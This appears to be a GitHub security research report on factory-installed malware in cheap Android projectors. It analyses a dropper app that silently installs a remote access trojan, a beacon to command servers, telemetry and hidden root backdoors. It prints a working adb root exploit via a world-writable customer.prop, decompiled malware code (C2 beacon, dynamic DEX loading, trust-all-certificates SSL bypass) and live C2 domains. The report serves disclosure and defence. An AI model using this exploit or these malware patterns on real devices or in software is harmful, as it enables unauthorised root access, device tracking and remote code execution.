Skip to content

Kavan00/Android-Projector-C2-Malware

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

2 Commits
 
 

Repository files navigation

Pre-installed C2 Infrastructure and RAT Payload on Android Projectors

Technical Analysis Report — Security Research


Affected Devices: Multiple Android projectors of the brands Hotack, Huyukang, Magcubic, Nonete (e.g., Model HY260Pro)
Chipset Platform: Allwinner H713 / sun50iw12p1 — potentially affects all devices on this platform
Analysis Period: April 11–12, 2026
Classification: Pre-installed Command-and-Control infrastructure with Remote Access Trojan payload


TL;DR

  • The Problem: Numerous cheap Android projectors (brands like Magcubic, Hotack, etc., utilizing the Allwinner H713 chip), currently sold in massive quantities on Amazon, eBay, and AliExpress, are infected with malware straight from the factory (Supply Chain Attack, similar to the "BADBOX" cases).
  • The Mechanism: A seemingly harmless system app ("StoreOS") acts as a disguised dropper. It completely silently downloads a Remote Access Trojan (RAT) named "SilentSDK" in the background and installs it with maximum system privileges.
  • The Danger: The malware establishes a persistent C2 connection to China (api.pixelpioneerss.com), extracts sensitive device IDs, and can download and execute arbitrary additional malicious code with root privileges at any time (chmod 777). Additionally, the devices feature open root backdoors.
  • Immediate Mitigation: The C2 domains (especially *.aodintech.com and api.pixelpioneerss.com) must be blocked at the network level. Affected users can only disable the malicious apps manually via ADB, as they are deeply embedded in the system.

Urgency Notice

The malware infrastructure documented in this report is pre-installed on Android projectors currently being sold in large quantities to end consumers on Amazon, eBay, and AliExpress. The affected devices span multiple brand names (Hotack, Huyukang, Magcubic, Nonete, among others) but share the same OEM platform from the company 蓝鲨 (Blue Shark, Shenzhen). Identical C2 infrastructure has been independently confirmed on other devices from the same manufacturer (see Section 13).

The pattern matches the BADBOX cases. At the time of analysis, the C2 servers were active and delivering a payload verified as a RAT to all devices worldwide (zone: "Global").


Table of Contents

  1. Device Identification
  2. Investigation Workflow
  3. Root Access — Exploit Path
  4. C2 Server Response — Core Evidence
  5. Malware Ecosystem Overview
  6. StoreOS — Dropper Analysis (com.htc.storeos)
  7. SilentSDK — RAT Analysis (com.hotack.silentsdk)
  8. EventUploadService — Telemetry (com.htc.eventuploadservice)
  9. ExpandSDK — Ad-Injection (com.htc.expandsdk)
  10. System Backdoors
  11. Network Forensics
  12. Device Spoofing (Build-Fingerprint Spoofing)
  13. External Confirmation
  14. Indicators of Compromise (IOCs)
  15. MITRE ATT&CK Mapping
  16. Immediate Mitigations
  17. Sources

Purchased Device: Amazon Link - Nonete Mini Beamer 4K 1080P


1. Device Identification

Property Value
Brand Name Hotack / Huyukang / Magcubic HY260Pro
Internal Model Name NT10
SoC Allwinner sun50iw12p1 (ARM 32-bit)
Operating System SpectraOS (Android 11, Kernel 5.4.99)
Real Build Fingerprint Allwinner/h713_tuna_p3/h713-tuna_p3:11
Spoofed Build Fingerprint ADT-3/adt3/adt3:11/RP1A.201005.006
SELinux Permissive (no enforcement)
Platform Signing Key Public AOSP Test Key
OEM Certificate CN=蓝鲨, OU=www.bsh.me, C=CN
Firmware Channel HY260Pro_SpectraOS_TPYB

Note on scope: The Allwinner H713 chipset is built into numerous cheap Android projectors sold under changing brand names in the European market. The identical firmware base (h713_tuna_p3) and identical C2 operator (Shenzhen Aodin Technology) strongly suggest that all devices from this OEM contain the same infrastructure.


2. Investigation Workflow

Step Action Result
1 Wireshark capture of network traffic HTTP traffic to store-api.aodintech.com
2 Decoding of the gzip-compressed C2 response 7 apps, including hidden "SilentTools"
3 AES-CBC decryption of the download path Key 6c4928fb40e31789, URL to .bpp file
4 Root exploit via /oem/customer.prop uid=0(root) after property injection
5 Forensic dump of /data, /oem, /system APKs, databases, configurations
6 Static analysis of StoreOS DEX pm install -r, byte-reversal protection
7 Reverse engineering the reverseLen mechanism Understanding of the anti-analysis protection
8 Breaking the byte-reversal protection Decrypted, analyzable SilentSDK DEX
9 XOR decryption of SilentSDK strings C2 domain api.pixelpioneerss.com confirmed
10 Hash verification across three sources MD5/SHA-256 match perfectly

3. Root Access — Exploit Path

Root access was achieved through a combination of three vulnerabilities:

  1. SELinux Permissive — Access violations are only logged, not blocked.
  2. World-writable /oem — The partition is mounted as FAT with fmask=0000.
  3. customer.prop loaded at boot — Overwrites system properties.
adb shell getenforce                  # Result: Permissive
adb shell ls -la /oem/                # All files world-writable

adb shell 'echo "ro.debuggable=1"     >> /oem/customer.prop'
adb shell 'echo "service.adb.root=1"  >> /oem/customer.prop'
adb shell 'echo "ro.secure=0"         >> /oem/customer.prop'

adb reboot && adb wait-for-device && adb root
adb shell id
# uid=0(root) gid=0(root) context=u:r:su:s0

Impact: Any user with physical access or an attacker on the same network (via ADB, port 5555 open, no authentication) gains full root access.


4. C2 Server Response — Core Evidence

Captured HTTP Request

POST /sign/app/list HTTP/1.1
chanId: HY260Pro_SpectraOS_TPYB
timestamp: 1775904428922
sign: [REDACTED]
Content-Type: application/json;charset=UTF-8
Content-Length: 184
Host: store-api.aodintech.com
Connection: Keep-Alive
Accept-Encoding: gzip
User-Agent: okhttp/5.0.0-alpha.12

Server Response (Decoded from pcapng - Table)

The gzip-compressed response contains a JSON list with seven apps. Six of them are regular streaming apps (YouTube, Netflix, Disney+, Prime Video, Chrome, BrowseHere). The seventh is SilentTools:

App Package isShow isForce isSilent Install isSilent Uninstall launch Type
YouTube com.google.android.youtube.tv true false false false 0
Disney+ com.disney.disneyplus true false false false 0
Netflix com.netflix.mediaclient true false false false 0
Chrome com.android.chrome true false false false 0
Prime Video com.amazon.amazonvideo.livingroom true false false false 0
BrowseHere com.tcl.browser true false false false 0
SilentTools com.hotack.silentsdk false true false true 1

SilentTools Configuration in Detail

{
  "name": "SilentTools",
  "pkg": "com.hotack.silentsdk",
  "desc": "Special app",
  "icon": "[http://cdn-store.aodintech.com/com.hotack.silentsdk/image/95630a5e-e05e-4dba-814a-cf2742585b39.png](http://cdn-store.aodintech.com/com.hotack.silentsdk/image/95630a5e-e05e-4dba-814a-cf2742585b39.png)",
  "category": "htc",
  "zone": "Global",
  "developer": "htc",
  "isForce": true,
  "verCode": 4,
  "verName": "2509041614",
  "verDesc": "SilentSDK",
  "installType": 0,
  "appType": "apk",
  "reverseLen": 63995,
  "path": "W15UOdzUbX72/67VLbV2cMLetfnsudxCpedAqw2GjJ8pvLI56S0gTzrp4HaetoVK3PdHXvM9vw7g+F4eFGhHDNvARfeM38tkcqo7gOpulNCb1gKYE2rmjWa+6RdjhB84+g403UUicBfFf5vHDoOEgA==",
  "size": 2474873,
  "md5": "5df097591d6942bae4eff33a37c4e28f",
  "upDate": "2025-09-04",
  "isShow": false,
  "isSilentInstall": false,
  "isSilentUninstall": true,
  "isBootStartup": false,
  "launchType": 1,
  "launchParam": "com.hotack.silentsdk.MyService"
}

Interpretation of the flags:

  • isShow: false — The app does not appear in the store interface.
  • isForce: true — Presumably forces the action (installation or update).
  • isSilentUninstall: true — Can uninstall itself without user interaction.
  • launchType: 1 — Automatically starts the background service.
  • launchParam: MyService — Reference to the persistent service.
  • zone: "Global" — Targets all devices worldwide.
  • reverseLen — Byte length needed to restore the SilentSDK .apk.

Encrypted Download Path

The path field is AES-CBC encrypted:

  • Key/IV: [REDACTED] (AES-CBC, Raw) -> The ChannelID of the device.
  • Decrypted result:
[http://cdn-store.aodintech.com/com.hotack.silentsdk/package/091acbf1-68b1-40f1-b9b7-7d4d6ae86880.bpp](http://cdn-store.aodintech.com/com.hotack.silentsdk/package/091acbf1-68b1-40f1-b9b7-7d4d6ae86880.bpp)

Note: The field isSilentInstall is false in this capture. The exact semantics of isForce: true could not be unambiguously reconstructed from the decompiled code. It cannot be ruled out that the value is dynamically set to true server-side.


5. Malware Ecosystem Overview

The device contains four interacting system apps, all signed with the AOSP test key and running with UID 1000 (System):

                        ┌──────────────┐
                        │  DEVICE BOOT │
                        └──────┬───────┘
              ┌────────────────┼────────────────┐
              ▼                ▼                ▼
       ┌─────────────┐  ┌─────────────┐  ┌──────────────┐
       │   StoreOS   │  │  SilentSDK  │  │  EventUpload │
       │   DROPPER   │  │     RAT     │  │  HEARTBEAT   │
       └──────┬──────┘  └──────┬──────┘  └──────┬───────┘
              ▼                ▼                ▼
         store-api.        api.pixel         event-api.
        aodintech.com    pioneerss.com     aodintech.com

       + ExpandSDK (Ad-Injection)
         → pb-api.aodintech.com

6. StoreOS — Dropper Analysis

StoreOS appears to be an app store that is automatically installed; however, it fulfills the function of a dropper.
Package: com.htc.storeos
SHA-256: 3476536a5c722b9e34c53abda766fb4869d5ebebfc9c8a8fd47fb7ecd5f025b9
VirusTotal: BitDefender: Android.Riskware.TestKey.rB

Permissions

Permission Impact
INSTALL_PACKAGES Silent installation without user dialog
CLEAR_APP_USER_DATA Deletion of arbitrary app data
MASTER_CLEAR Triggering factory reset
WRITE_SECURE_SETTINGS Modifying security settings
DEVICE_POWER Device power management
MANAGE_EXTERNAL_STORAGE Full access to external storage

Installation Chain (from decompiled code)

  1. BootReceiver starts CheckUpdateService.
  2. HTTP POST to store-api.aodintech.com/sign/app/list.
  3. Server delivers AppsData[] containing fields: pkg, path, isForce, isShow, isSilentInstall, isSilentUninstall, launchType, launchParam, reverseLen, md5.
  4. DownloadService fetches APKs as .bpp files from the CDN.
  5. Byte-Reversal Protection: The first reverseLen bytes are reversed before writing to disk (Anti-Analysis Measure).
  6. MD5 verification of the downloaded file.
  7. Installation via Runtime.getRuntime().exec("pm install -r " + filePath).
  8. StartAppService launches the installed app according to launchParam.

Byte-Reversal Mechanism — Technical Proof

Class: AbstractC2057bMethod: m4131f(String inputPath, int reverseLen, String outputPath) -> JADX

This method reverses the first reverseLen bytes of every downloaded APK. As a result, intercepted .bpp files cannot be recognized or extracted as valid APKs without knowing the specific reverseLen value.

// Simplified representation of the byte-reversal algorithm
// Original code: AbstractC2057b.m4131f()
int offset = fileSize % reverseLen;
if (fileSize - offset < reverseLen) {
    reverseLen = fileSize;
    offset = 0;
}
// 1. Copy offset bytes unchanged
// 2. Read reverseLen bytes and reverse them:
for (int head = 0, tail = readCount - 1; head < tail; ) {
    byte tmp = buffer[head];
    buffer[head] = buffer[tail];
    buffer[tail] = tmp;
    head++; tail--;
}
// 3. Copy the remaining bytes unchanged

Invocation in the download path (Class RunnableC1595d, case 0):

if (downInfo.getReverseLen() != 0) {
    String outputPath = inputPath.replace(".apk", "des.apk");
    if (!AbstractC2057b.m4131f(inputPath, reverseLen, outputPath)) {
        // Error handling
        return;
    }
    downInfo.setFileSavePath(outputPath);
}
// Followed by MD5 verification and installation

By reversing this mechanism, the SilentSDK APK was successfully decoded and analyzed.

Geo-Targeting

StoreOS utilizes api.ipdatacloud.com/v2/query for IP geolocation. The SpecialApps class contains fields for continent and countryCode, allowing for region-specific payload distribution.


7. SilentSDK — RAT Analysis

Package: com.hotack.silentsdk
SHA-256 (decoded): e5a193c31526a2194d04a2157321d490d68f9251fab1cbbd28c2580971396fb7
MD5 (decoded): 5df097591d6942bae4eff33a37c4e28f

Manifest Analysis

Property Value Meaning
sharedUserId android.uid.system System Privileges (UID 1000)
usesCleartextTraffic true HTTP traffic allowed
Launcher Icon Not visible to the user Hidden from the user interface
BootReceiver Priority 999 Starts before almost all other apps
MyService exported, foreground Persistent background service
BootStartActivity com.htc.bootstart Additional boot trigger

DEX Packing and Decryption

The original DEX is packed: The header declares 2,318,316 bytes, but the compressed file only contains 65,536 bytes with an invalid Adler32 checksum. After breaking the StoreOS byte-reversal protection, the DEX becomes fully readable — the file size and declared size match, and 16,241 strings are extractable.

XOR Obfuscation — Technical Proof

All security-relevant strings are obfuscated using a rotating XOR cipher within the method AbstractC0000a.m36g():

public static String m36g(byte[] data, byte[] key) {
    int i3 = 0, i4 = 0;
    while (i3 < data.length) {
        if (i4 >= key.length) i4 = 0;
        data[i3] = (byte) (data[i3] ^ key[i4]);
        i3++; i4++;
    }
    return new String(data);
}

Decrypted Strings

Obfuscated Call Result Function
m36g({-99,127,58,-103,...}, {-4,15,83,-73,...}) api.pixelpioneerss.com C2 Domain
m36g({125,61,58,...}, {21,73,78,...}) https:// Primary Protocol
m36g({0,90,58,...}, {104,46,78,...}) http:// Fallback on SSL error
m36g({-22,78,57}, {-71,29,117,...}) SSL TLS Protocol
m36g({-83,-92,-19,...}, {-50,-52,...}) chmod 777 Shell Command
m36g({7,-68}, {116,-44,...}) sh Shell Binary
m36g({-15}, {-112,-1,...}) a Custom HTTP Header Name

C2 Communication — Technical Proof

Class: RunnableC0569n (Package p004b)

Step 1 — URL Generation with Random Path:

The method m1760b() generates a unique URL for each request:

// Simplified representation of RunnableC0569n.m1760b()
String protocol = useHttps ? "https://" : "http://";
// f2663d = XOR-decrypted to "api.pixelpioneerss.com"
String domain = f2663d;
// Random path: 8-12 alphanumeric characters
int length = random.nextInt(5) + 8;
char[] path = new char[length];
// At least one letter (a/A/b/B) at a random position
// Remainder: Digits and letters
return protocol + domain + "/" + new String(path);
// Result e.g.: [https://api.pixelpioneerss.com/aB3k9mP2s](https://api.pixelpioneerss.com/aB3k9mP2s)

Step 2 — Beacon Payload:

// From RunnableC0569n.run() — JSON Construction
JSONObject beacon = new JSONObject();
beacon.put("a", getDeviceFingerprint(context)); // Device ID
beacon.put("b", appKey);                        // Campaign Key
beacon.put("c", context.getPackageName());      // com.hotack.silentsdk
beacon.put("d", currentVersion);                // Payload Version
beacon.put("f", Build.FINGERPRINT);             // Build Fingerprint
beacon.put("h", Build.VERSION.SDK_INT);         // SDK Version
beacon.put("i", isRootAvailable);               // Root check

Step 3 — AES Encryption and Transmission:

// AbstractC0556a.m1728d() — AES-128-CBC Encryption
byte[] encrypted = AES_CBC_encrypt(json.getBytes());
// AbstractC0000a.m41j() — HTTP POST with Custom TrustManager
byte[] response = m41j(url, encrypted);
// Key and IV are appended in plaintext to the message

Step 4 — Processing Server Response:

// From RunnableC0569n.run()
JSONObject data = new JSONObject(response).getJSONObject("data");
String downloadUrl = data.getString("a");  // DEX Download URL
String md5Hash    = data.getString("b");  // MD5 for verification
int    version    = data.getInt("c");     // Version number
// → m1762a() downloads DEX, verifies Hash, executes

SSL Bypass — Technical Proof

Class: C0565j (implements X509TrustManager)

// From AbstractC0000a.m41j() — TrustManager accepts ALL certificates
TrustManager[] trustManagerArr = {new C0565j()};
SSLContext sslContext = SSLContext.getInstance("SSL");
sslContext.init(null, trustManagerArr, new SecureRandom());
((HttpsURLConnection) conn).setSSLSocketFactory(
    sslContext.getSocketFactory()
);

If an SSL error (SSLException) occurs, f2664e is set to false and all subsequent requests utilize HTTP instead of HTTPS.

Custom HTTP Headers

All C2 requests contain the header a: 1003 — a signature of this malware family:

httpURLConnection.setRequestProperty(
    m36g({-15}, {-112,...}),    // → "a"
    String.valueOf(1003)        // → "1003"
);

Persistence and Dynamic Loading

The method m1762a() in RunnableC0569n implements the complete payload download cycle:

  1. Download DEX file from C2.
  2. Verify MD5 Hash.
  3. Save version number in SharedPreferences.
  4. Load and execute DEX via DexClassLoader or Runtime.exec().
  5. Upon errors: Increment retry counter in SharedPreferences, pause after 13 failed attempts.

8. EventUploadService — Telemetry

Package: com.htc.eventuploadservice
Target: http://event-api.aodintech.com/report
Interval: Every 5 minutes

Field Example Value Privacy Impact
deviceId [REDACTED] MAC Address (PII)
deviceSn [REDACTED] Serial Number (Unique)
channel HY260Pro_hy_TPYB Firmware Channel
version Projector.20250422.152235 Firmware Version
model NT10 Device Model
language en_US Language Setting

Transmission occurs unencrypted via HTTP and without user consent. The MAC address and serial number allow for the precise identification and tracking of individual devices.


9. ExpandSDK — Ad-Injection

Package: com.htc.expandsdk
C2 Servers: pb-api.aodintech.com, euads-o.api.leiniao.com

ExpandSDK utilizes the TCL VastAd SDK for VAST video advertisements and is capable of rendering system overlay dialogs (SYSTEM_ALERT_WINDOW) at any screen position. The configuration includes position fields (AdDialogX, AdDialogY, Width, High, Gravity) and the partner identifier htk (Hotack).

ExpandSDK operates independently from SilentSDK as a separate monetization channel.


10. System Backdoors

10.1 Hidden su Binary: /system/bin/qw

An su binary renamed as qw (Koushikdutta Superuser, 388 KB, statically linked, ARM 32-bit):

# /system/etc/init/qw.rc
service qw /system/bin/qw --daemon
    user root
    group root
    class core
  • Process: PID 2409, UID 0 (root)
  • Socket: /dev/com.koushikdutta.superuser.daemon/server (srwxrwxrwx)
  • TCP Port: 65528 (UID 0)

10.2 AOSP Test Key as Platform Signing Key

The platform signing certificate is the test key publicly included in the AOSP source code (Cert Index 0 in packages.xml). Any app signed with this key automatically receives system privileges on the device. The key is freely accessible to any Android developer.

10.3 Additional Open Services

Port UID Description
65528 root (0) su Daemon
5555 root (0) ADB without authentication
7889/7890 system (1000) Unknown service
10012/10013 system (1000) Factory Debug?

10.4 dbgserver

/vendor/bin/dbgserver — Hardware register I/O server, communicating via the world-writable device /dev/hidtvreg (crwxrwxrwx).


11. Network Forensics

All C2 communication takes place over unencrypted HTTP. This enables MITM (Man-In-The-Middle) attacks: an attacker on the same network can manipulate the app list and inject arbitrary APKs, which will then be installed with system privileges.

Server Endpoint Function
store-api.aodintech.com POST /sign/app/list App Distribution
cdn-store.aodintech.com GET /*.bpp APK Download
event-api.aodintech.com POST /report Telemetry
api.pixelpioneerss.com POST /(random) SilentSDK RAT C2
pb-api.aodintech.com GET /api/collections/... Ad Configuration
ota.triplesai.com:8080 POST /V1/Ota/Check Firmware Updates
api.ipdatacloud.com GET /v2/query IP Geolocation
euads-o.api.leiniao.com Secondary Ad Server
connect.rom.miui.com Xiaomi Telemetry

12. Device Spoofing

The device disguises itself as Google's ADT-3 (Android TV Developer Kit):

Property Spoofed Value Real Value
ro.build.fingerprint ADT-3/adt3/adt3:11
ro.product.build.* Allwinner/h713_tuna_p3
Build Date Tue Apr 22 15:20 CST 2025

This spoofing is presumably intended to bypass Google Play certification checks.


13. External Confirmation

Independent Analysis

In January 2026, security researcher Zane St. John published an analysis of identical devices harboring the exact same malware infrastructure. The findings match in all crucial points: C2 endpoints, XOR obfuscation, AES-128-CBC protocol, Campaign ID f101, SSL bypass, and chmod 777. The device analyzed by Zane St. John appears to have already been infected by SilentSDK, which was not the case on my device out-of-the-box. The endpoints in Zane St. John's analysis also appear slightly altered, indicating the possibility of endpoint rotation. Additionally, the SilentSDK appears to be pre-installed in his case, whereas on my device it appears to be downloaded and installed once aodintech sends the trigger signal.

Source: https://zanestjohn.com/blog/reing-with-claude-code

Hash Verification Across Three Independent Sources

Source MD5 SHA-256
C2 Server Response 5df097591d694...
Our Decoded APK 5df097591d694... e5a193c31526a...
External Analysis e5a193c31526a...

The hashes from the C2 server distribution, our own decryption, and the external analysis are identical — confirming that it is the exact same malware. This confirms the wide dissemination of the malware.

VirusTotal

StoreOS-APK: BitDefender detects Android.Riskware.TestKey.rB; no other anti-virus engines trigger an alert.


14. Indicators of Compromise (IOCs)

Domains

api.pixelpioneerss.com          # SilentSDK RAT C2
store-api.aodintech.com         # StoreOS App Distribution
cdn-store.aodintech.com         # APK Download CDN
event-api.aodintech.com         # Telemetry Exfiltration
pb-api.aodintech.com            # ExpandSDK Ad Injection
ota.triplesai.com               # OTA Updates
api.ipdatacloud.com             # IP Geolocation
euads-o.api.leiniao.com         # Secondary Ad Server

Network Signatures

User-Agent: okhttp/5.0.0-alpha.12
HTTP-Header: a: 1003            # SilentSDK Signature
POST /sign/app/list             # StoreOS C2 Beacon
POST /report                    # EventUpload Telemetry

Packages and Hashes

com.hotack.silentsdk   SHA-256: e5a193c31526a2194d04a2...
com.htc.storeos        SHA-256: 3476536a5c722b9e34c53a...
com.htc.eventuploadservice
com.htc.expandsdk

File System

/system/bin/qw                                   # su Binary
/dev/com.koushikdutta.superuser.daemon/server    # su Socket
/oem/customer.prop                               # World-writable
/vendor/bin/dbgserver                             # HW-Debug
/dev/hidtvreg                                    # World-writable

15. MITRE ATT&CK Mapping

Technique ID Proof
Supply Chain Compromise T1195.002 Malware factory pre-installed
Boot or Logon Autostart Execution T1547 BootReceiver Priority 999
Obfuscated Files or Information T1027 XOR Strings, DEX Packing
Application Layer Protocol T1071 HTTP/HTTPS C2
Dynamic Data Exchange / Payload Injection T1055 DexClassLoader, chmod 777
System Information Discovery T1082 Device Fingerprinting
Data from Local System T1005 MAC, Serial, IMEI
Exfiltration Over C2 Channel T1041 Periodic Telemetry
Masquerading T1036 .bpp file extension, ADT-3 Spoofing
Rootkit T1014 Hidden su Binary

16. Immediate Mitigations

For Affected End Users

adb shell pm disable-user --user 0 com.hotack.silentsdk
adb shell pm disable-user --user 0 com.htc.storeos
adb shell pm disable-user --user 0 com.htc.eventuploadservice
adb shell pm disable-user --user 0 com.htc.expandsdk
adb shell pm disable-user --user 0 com.htc.htcotaupdate

Network-Level Blocking

# DNS blocking or firewall rules for:
store-api.aodintech.com
cdn-store.aodintech.com
event-api.aodintech.com
pb-api.aodintech.com
api.pixelpioneerss.com
ota.triplesai.com

17. Sources

  1. Zane St. John: "Reverse-Engineering Pre-installed Android Malware with Claude Code", January 2026. https://zanestjohn.com/blog/reing-with-claude-code
  2. BSI: "BSI warns against pre-installed malware on IoT devices" (BADBOX), October 2023.
  3. VirusTotal analysis of the StoreOS APK.

Analysis Period: April 11–12, 2026

About

Breakdown of a c2-network of chinese beamers - SilentSDK-Analysis

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages